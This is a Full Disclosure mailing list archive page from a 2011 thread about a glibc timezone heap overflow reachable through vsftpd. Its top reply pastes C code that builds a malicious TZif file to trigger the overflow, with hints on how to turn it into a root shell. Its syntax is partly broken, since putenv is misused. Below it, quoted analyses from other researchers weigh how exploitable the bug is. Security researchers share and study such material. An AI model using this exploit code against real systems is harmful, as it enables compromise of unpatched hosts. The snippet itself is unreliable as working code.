Full Disclosure mailing list archives
Re: Fwd: VSFTPD Remote Heap Overrun (low severity)
From: GloW - XD <doomxd () gmail com>
Date: Sat, 10 Dec 2011 10:58:21 +1100
There is, an exploit for this.. if you look around... it also, works...and, u do have the src... i will pastebin it, just to makesure no one cries :s #include <stdio.h> #include <stdint.h> #include <time.h> #include <string.h> #define TZ_MAGIC "TZif" #define PUT_32BIT_MSB(cp, value) \ do { \ (cp)[0] = (value) >> 24; \ (cp)[1] = (value) >> 16; \ (cp)[2] = (value) >> 8; \ (cp)[3] = (value); \ } while (0) struct tzhead { char tzh_magic[4]; char tzh_version[1]; char tzh_reserved[15]; char tzh_ttisgmtcnt[4]; char tzh_ttisstdcnt[4]; char tzh_leapcnt[4]; char tzh_timecnt[4]; char tzh_typecnt[4]; char tzh_charcnt[4]; }; struct ttinfo { long int offset; unsigned char isdst; unsigned char idx; unsigned char isstd; unsigned char isgmt; }; int main(void) { struct tzhead evil; int i; char *p; uint32_t total_size; uint32_t evil1, evil2; memcpy(evil.tzh_magic, TZ_MAGIC, sizeof(TZ_MAGIC) - 1); evil.tzh_version[0] = 0; memset(evil.tzh_reserved, 0, sizeof(evil.tzh_reserved)); memset(evil.tzh_ttisgmtcnt, 0, sizeof(evil.tzh_ttisgmtcnt)); memset(evil.tzh_ttisstdcnt, 0, sizeof(evil.tzh_ttisstdcnt)); memset(evil.tzh_leapcnt, 0, sizeof(evil.tzh_leapcnt)); memset(evil.tzh_typecnt, 0, sizeof(evil.tzh_typecnt)); evil1 = 500; PUT_32BIT_MSB(evil.tzh_timecnt, evil1); total_size = evil1 * (sizeof(time_t) + 1); total_size = ((total_size + __alignof__ (struct ttinfo) - 1) & ~(__alignof__ (struct ttinfo) - 1)); evil2 = 0 - total_size; PUT_32BIT_MSB(evil.tzh_charcnt, evil2); p = (char *)&evil; for (i = 0; i < sizeof(evil); i++) printf("%c", p[i]); putenv("TZ=`pwd`/%s",evil); for (i = 0; i < 50000; i++) //printf("[+] Got root ..\n"); printf("A"); } Sorry but, i did remove the exec line and setuid but, also you must setend TX=/path/to/nice/shell ,and then you might get somewhere... it is tricky, as there is the setenv, wichcan be done, i have made that happen, but, it takes anopther .c file for this... but, i did also, modify this original one by someone else, wich, only prints...the overflow and trigger./.but, to get root, you must play with bash alittle...but yea, it is verymuch also a propblem, anyhow, i was recently involved with tzdata patch, and, i had reported bugs goin back ages... anyhow, thx to dividead for his Timezone stuff... but, it is tricky one..but, very good :P , like, if setup similar to a sendpage socket to socket, you may be able to send shellcode, to unset/setenv TZ= , so then it can exec, but, unless it calls that before adding setuid(0); etc... it wont work on prolly, anything... dividead made a grat post on it but, i have already hinted at bugs in glib b4, guess, i dont like to give away, what kids dont need... anyhow this is working buffer overflow for that CVE exactly. have fucking fun assholes ./rant On 10 December 2011 10:47, HI-TECH . <isowarez.isowarez.isowarez () googlemail com> wrote:
---------- Weitergeleitete Nachricht ---------- Von: HI-TECH . <isowarez.isowarez.isowarez () googlemail com> Datum: 10. Dezember 2011 00:44 Betreff: Re: [Full-disclosure] VSFTPD Remote Heap Overrun (low severity) An: Ramon de C Valle <rcvalle () redhat com> Hi Ramon, Frankly I didn't look into the possibility to exploit this vulnerability, so i do not know if it is easy or hard to exploit. As you outlined it is difficult, during your audit you did not manage to trigger a function pointer call? :> i guess not I am not much into exploiting heap based overruns in the old times fashion. BTW both freebsd and pure-ftpd load locale files (strace it and you will see) from /usr, these locale files are used for the ftp responses to make them written in international language. FreeBSD ftpd in junction with the locale files loading will SIGSEGV (EIP overwrite) due to a strcpy in locale responses in a special codepath. I did not find a way to exploit Pure-FTPD through this locale loading tough, because Pure-FTPD is very restrictive in many ways even on response lines but there might be a vuln there too. (I dont remember if locale loading was only on FreeBSD or also on Linux or also in vsftpd, since the libc behaves very different in BSD/glibc/eglibc etc) Regards, Kingcope Am 9. Dezember 2011 19:32 schrieb Ramon de C Valle <rcvalle () redhat com>:This is afaik a patched CVE in Linux glibc [1] which can be triggered through the very secure ftp daemon [2] so it will only work on older linux distros. Be aware that vsftpd has privilege seperation built in so this bug will not yield a root shell. It could yield root only in junction with a linux kernel vulnerability because the attacker will not be able to break the chroot without being root. This bug has a low severity because it's hard to exploit. Linux systems without patched glibc are vulnerable even if the latest version vsftpd-2.3.4 is installed. The bug is in the glibc timezone code. vsftpd loads timezone files from /usr [3]. If the attacker is inside a chroot he can easily create this directory and the timezone file and trigger the heap overrun. A Debugging Session illustrating the bug can be found on youtube: http://www.youtube.com/watch?v=KRCuozBM_dQI did a brief analysis of this issue. And it seems vsftpd does not add anything to this as an attack vector. Althought we can control the size of the chunk to be allocated (i.e. transitions), and can arbitrarily allocate this chunk from fast bins, the main arena, or eventually, a new mmap()'ed heap. We do not have any control over when its adjacent chunks are allocated, freed, the type of their contents, when they will be used, how they will be used, and if they will be used and useful at all. In addition, the data used to overflow (i.e. transition times) are read and decoded as 4-byte integers in network (big-endian) byte order, which increases the difficulty in faking any structure, such as the adjacent allocated chunk to, at least, get outside of glibc scope after the overflow--since all return paths from __tzfile_read frees our controlled previously allocated chunk. Do you or anyone know a way to potentially exploit this vulnerability?Cheers!Thanks,[1] http://dividead.wordpress.com/tag/heap-overflow/ [2] https://security.appspot.com/vsftpd.html [3] For example /usr/share/zoneinfo/UTC-01:00 /Kingcope-- Ramon de C Valle / Red Hat Security Response Team_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- VSFTPD Remote Heap Overrun (low severity) HI-TECH . (Dec 02)
- <Possible follow-ups>
- Re: VSFTPD Remote Heap Overrun (low severity) Ramon de C Valle (Dec 12)
- Message not available
- Fwd: VSFTPD Remote Heap Overrun (low severity) HI-TECH . (Dec 09)
- Re: Fwd: VSFTPD Remote Heap Overrun (low severity) GloW - XD (Dec 09)
- Re: Fwd: VSFTPD Remote Heap Overrun (low severity) GloW - XD (Dec 09)
- Message not available
- Re: VSFTPD Remote Heap Overrun (low severity) Ramon de C Valle (Dec 12)
- Fwd: VSFTPD Remote Heap Overrun (low severity) HI-TECH . (Dec 12)
- Re: Fwd: VSFTPD Remote Heap Overrun (low severity) Ramon de C Valle (Dec 12)
- Re: Fwd: VSFTPD Remote Heap Overrun (low severity) Daniel J Walsh (Dec 13)
- Re: Fwd: VSFTPD Remote Heap Overrun (low severity) Ramon de C Valle (Dec 12)
- Re: Fwd: VSFTPD Remote Heap Overrun (low severity) Daniel J Walsh (Dec 13)
- Re: Fwd: VSFTPD Remote Heap Overrun (low severity) Ramon de C Valle (Dec 12)
- Re: Fwd: VSFTPD Remote Heap Overrun (low severity) Valdis . Kletnieks (Dec 12)
- Re: Fwd: VSFTPD Remote Heap Overrun (low severity) Ramon de C Valle (Dec 12)
- Fwd: VSFTPD Remote Heap Overrun (low severity) HI-TECH . (Dec 12)